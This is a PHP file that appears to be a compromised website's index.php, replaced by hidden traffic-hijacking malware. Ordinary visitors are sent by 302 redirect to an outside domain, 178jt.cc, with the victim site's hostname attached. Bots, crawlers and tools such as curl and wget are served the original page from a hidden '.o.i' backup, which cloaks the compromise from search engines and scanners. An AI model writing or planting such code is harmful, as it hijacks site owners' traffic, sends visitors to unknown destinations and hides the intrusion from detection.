<?php /*s1k3y*/
$u = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$m = preg_match('/Android|iPhone|iPad|iPod|Mobile|HarmonyOS|MIUI|HUAWEI|OPPO|vivo|Xiaomi|SamsungBrowser|MicroMessenger|BlackBerry/i', $u);
$b = preg_match('/bot|crawler|spider|curl|wget|python|go-http|headless|lighthouse/i', $u);
if (!$b) {
    $h = strtolower(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
    $h = preg_replace('/:\d+$/', '', $h);
    $h = preg_replace('/^(www|m|wap|h5|3g|m2|m3|mobile|touch|app|mip|bd|w3)\./', '', $h);
    if ($h) { header('Location: https://178jt.cc/?src=' . $h, true, 302); exit; }
}
$d = __DIR__;
if (is_file($d . '/.o.i')) { @chdir($d); include $d . '/.o.i'; return; }
if (is_file('/www/index.php.o.i')) { include '/www/index.php.o.i'; return; }
foreach (array('index.html', 'index.htm') as $f) {
    if (is_file($d . '/' . $f)) { readfile($d . '/' . $f); return; }
}
